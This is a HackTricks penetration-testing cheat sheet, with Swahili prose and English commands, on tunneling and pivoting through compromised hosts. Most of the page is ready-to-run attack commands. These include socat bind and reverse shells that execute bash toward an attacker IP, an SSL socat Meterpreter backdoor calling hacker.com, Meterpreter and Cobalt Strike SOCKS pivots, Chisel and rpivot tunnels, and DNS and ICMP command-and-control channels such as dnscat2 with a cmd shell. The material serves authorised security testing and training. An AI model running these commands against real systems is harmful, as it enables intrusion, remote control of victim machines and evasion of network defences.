hacktricks/generic-methodologies-and-resources/tunneling-and-port-forwarding.md

Tunneling and Port Forwarding

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Nmap tip

{% hint style="warning" %} ICMP na SYN skani hazitaweza kupitishwa kupitia socks proxies, hivyo lazima tuondoe ping discovery (-Pn) na kubaini TCP skani (-sT) ili hii ifanye kazi. {% endhint %}

Bash

Host -> Jump -> InternalA -> InternalB

# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe

# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &

# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump

SSH

SSH muunganisho wa picha (X)

ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X

Local Port2Port

Fungua Port mpya kwenye SSH Server --> Port nyingine

ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere

ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere

Port2Port

Porti za ndani --> Kituo kilichovunjwa (SSH) --> Sanduku_tatu:Port

ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>

Port2hostnet (proxychains)

Porti za ndani --> Kituo kilichovunjwa (SSH) --> Popote

ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)

Reverse Port Forwarding

Hii ni muhimu kupata reverse shells kutoka kwa mwenyeji wa ndani kupitia DMZ hadi mwenyeji wako:

ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)

VPN-Tunnel

Unahitaji root katika vifaa vyote viwili (kama unavyotaka kuunda interfaces mpya) na usanidi wa sshd lazima uruhusu kuingia kwa root:
PermitRootLogin yes
PermitTunnel yes

ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface

Wezesha upitishaji upande wa Server

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Weka njia mpya upande wa mteja

route add -net 10.0.0.0/16 gw 1.1.1.1

SSHUTTLE

Unaweza tunnel kupitia ssh kila traffic kwenda subnetwork kupitia mwenyeji.
Kwa mfano, kupeleka kila traffic inayokwenda 10.10.10.0/24

pip install sshuttle
sshuttle -r user@host 10.10.10.10/24

Kuungana na ufunguo wa kibinafsi

sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode

Meterpreter

Port2Port

Bandari ya ndani --> Kituo kilichoshambuliwa (kipindi kinachofanya kazi) --> Sanduku_tatu:Bandari

# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>

SOCKS

background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Njia nyingine:

background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Cobalt Strike

SOCKS proxy

Fungua bandari katika server ya timu inayosikiliza katika interfaces zote ambazo zinaweza kutumika kuelekeza trafiki kupitia beacon.

beacon> socks 1080
[+] started SOCKS4a server on: 1080

# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25

rPort2Port

{% hint style="warning" %} Katika kesi hii, bandari imefunguliwa katika mwenyeji wa beacon, sio katika Server ya Timu na trafiki inatumwa kwa Server ya Timu na kutoka hapo kwa mwenyeji:bandari iliyoonyeshwa {% endhint %}

rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]

To note:

• Reverse port forward ya Beacon imeundwa ili kufanya tunneling ya trafiki kwa Team Server, sio kwa kuhamasisha kati ya mashine binafsi.
• Trafiki inafanywa tunneling ndani ya trafiki ya C2 ya Beacon, ikiwa ni pamoja na viungo vya P2P.
• Haki za admin hazihitajiki kuunda reverse port forwards kwenye port za juu.

rPort2Port local

{% hint style="warning" %} Katika kesi hii, port imefunguliwa katika mwenyeji wa beacon, sio katika Team Server na trafiki inatumwa kwa mteja wa Cobalt Strike (sio kwa Team Server) na kutoka hapo kwa mwenyeji:port iliyoonyeshwa. {% endhint %}

rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]

reGeorg

https://github.com/sensepost/reGeorg

Unahitaji kupakia faili ya wavuti ya tunnel: ashx|aspx|js|jsp|php|php|jsp

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Chisel

Unaweza kuipakua kutoka kwenye ukurasa wa toleo wa https://github.com/jpillora/chisel
Unahitaji kutumia toleo sawa kwa mteja na seva

socks

./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)

./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker

Uhamasishaji wa bandari

./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim

Rpivot

https://github.com/klsecservices/rpivot

Tunneli ya nyuma. Tunneli inaanza kutoka kwa mwathirika.
Proxy ya socks4 inaundwa kwenye 127.0.0.1:1080

attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999

Pivot kupitia NTLM proxy

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Socat

https://github.com/andrew-d/static-binaries

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Port2Port

socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &

Port2Port kupitia socks

socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

Meterpreter kupitia SSL Socat

#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333

victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter

Unaweza kupita proxy isiyo na uthibitisho ukitekeleza mstari huu badala ya wa mwisho kwenye konso ya mwathiriwa:

OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5

https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/

SSL Socat Tunnel

/bin/sh console

Unda vyeti pande zote mbili: Mteja na Server

# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem

attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt

Remote Port2Port

Unganisha bandari ya SSH ya ndani (22) na bandari ya 443 ya mwenyeji wa mshambuliaji

attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim

Plink.exe

Ni kama toleo la console la PuTTY (chaguzi ni sawa na mteja wa ssh).

Kwa kuwa hii binary itatekelezwa kwenye mwathirika na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na muunganisho wa kurudi. Kisha, ili kupeleka tu bandari inayoweza kufikiwa ndani ya eneo la kazi hadi bandari kwenye mashine yetu:

echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090

Windows netsh

Port2Port

Unahitaji kuwa msimamizi wa ndani (kwa bandari yoyote)

netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444

SocksOverRDP & Proxifier

Unahitaji kuwa na ufikiaji wa RDP juu ya mfumo.
Pakua:

1. SocksOverRDP x64 Binaries - Chombo hiki kinatumia Dynamic Virtual Channels (DVC) kutoka kwa kipengele cha Huduma ya Desktop ya KijRemote ya Windows. DVC inawajibika kwa kuchora pakiti juu ya muunganisho wa RDP.
2. Proxifier Portable Binary

Katika kompyuta yako ya mteja, pakia SocksOverRDP-Plugin.dll kama ifuatavyo:

# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll

Sasa tunaweza kuunganisha na mhasiriwa kupitia RDP kwa kutumia mstsc.exe, na tunapaswa kupokea kipeperushi kinachosema kwamba SocksOverRDP plugin imewezeshwa, na itakuwa inaskiliza kwenye 127.0.0.1:1080.

Unganisha kupitia RDP na pakia & tekeleza kwenye mashine ya mhasiriwa SocksOverRDP-Server.exe binary:

C:\SocksOverRDP-x64> SocksOverRDP-Server.exe

Sasa, thibitisha kwenye mashine yako (mshambuliaji) kwamba bandari 1080 inasikiliza:

netstat -antb | findstr 1080

Sasa unaweza kutumia Proxifier kupeleka trafiki kupitia bandari hiyo.

Proxify Windows GUI Apps

Unaweza kufanya programu za Windows GUI zipitie proxy kwa kutumia Proxifier.
Katika Profile -> Proxy Servers ongeza IP na bandari ya seva ya SOCKS.
Katika Profile -> Proxification Rules ongeza jina la programu ya kupeleka na muunganisho kwa IP unazotaka kupeleka.

NTLM proxy bypass

Kifaa kilichotajwa hapo awali: Rpivot
OpenVPN pia kinaweza kupita, kuweka chaguzi hizi katika faili la usanidi:

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Cntlm

http://cntlm.sourceforge.net/

Inathibitisha dhidi ya proxy na inafunga bandari kwa ndani ambayo inapelekwa kwa huduma ya nje unayoelekeza. Kisha, unaweza kutumia chombo chochote unachokipenda kupitia bandari hii.
Kwa mfano, inapeleka bandari 443

Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443

Sasa, ikiwa utaweka kwa mfano katika mwathirika huduma ya SSH kusikiliza kwenye bandari 443. Unaweza kuungana nayo kupitia bandari ya mshambuliaji 2222.
Unaweza pia kutumia meterpreter inayounganisha na localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222.

YARP

Proxy ya kurudi iliyoundwa na Microsoft. Unaweza kuipata hapa: https://github.com/microsoft/reverse-proxy

DNS Tunneling

Iodine

https://code.kryo.se/iodine/

Root inahitajika katika mifumo yote miwili ili kuunda tun adapters na kupitisha data kati yao kwa kutumia maswali ya DNS.

attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2

Tuneli itakuwa polepole sana. Unaweza kuunda muunganisho wa SSH ulioshinikizwa kupitia tuneli hii kwa kutumia:

ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

DNSCat2

Pakua kutoka hapa.

Inaunda channel ya C&C kupitia DNS. Haihitaji ruhusa za root.

attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com

# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353

Katika PowerShell

Unaweza kutumia dnscat2-powershell kuendesha mteja wa dnscat2 katika powershell:

Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd

Kuelekeza bandari kwa kutumia dnscat

session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host

Badilisha DNS ya proxychains

Proxychains inakamata gethostbyname libc call na inatunga ombi la tcp DNS kupitia socks proxy. Kwa kawaida seva ya DNS ambayo proxychains inatumia ni 4.2.2.2 (imeandikwa kwa nguvu). Ili kubadilisha, hariri faili: /usr/lib/proxychains3/proxyresolv na ubadilishe IP. Ikiwa uko katika mazingira ya Windows unaweza kuweka IP ya meneja wa kikoa.

Tunnels katika Go

https://github.com/hotnops/gtunnel

ICMP Tunneling

Hans

https://github.com/friedrich/hans
https://github.com/albertzak/hanstunnel

Root inahitajika katika mifumo yote ili kuunda tun adapters na kutunga data kati yao kwa kutumia ombi la ICMP echo.

./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100

ptunnel-ng

Pakua kutoka hapa.

# Generate it
sudo ./autogen.sh

# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1

ngrok

ngrok ni chombo cha kufichua suluhisho kwa Mtandao kwa amri moja. URI za kufichua ni kama: UID.ngrok.io

Usanidi

• Tengeneza akaunti: https://ngrok.com/signup
• Pakua mteja:

tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit

Matumizi ya Msingi

Hati: https://ngrok.com/docs/getting-started/.

Pia inawezekana kuongeza uthibitisho na TLS, ikiwa ni lazima.

Kuingiza TCP

# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345

Kufichua faili kwa HTTP

./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/

Sniffing HTTP calls

Inatumika kwa XSS, SSRF, SSTI ... Moja kwa moja kutoka stdout au katika kiolesura cha HTTP http://127.0.0.1:4040.

Tunneling internal HTTP service

./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"

ngrok.yaml mfano rahisi wa usanidi

Inafungua mabwawa 3:

• 2 TCP
• 1 HTTP na uonyeshaji wa faili za kudumu kutoka /tmp/httpbin/

tunnels:
mytcp:
addr: 4444
proto: tcptunne
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/

Vifaa vingine vya kuangalia

• https://github.com/securesocketfunneling/ssf
• https://github.com/z3APA3A/3proxy

{% hint style="success" %} Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

{% endhint %}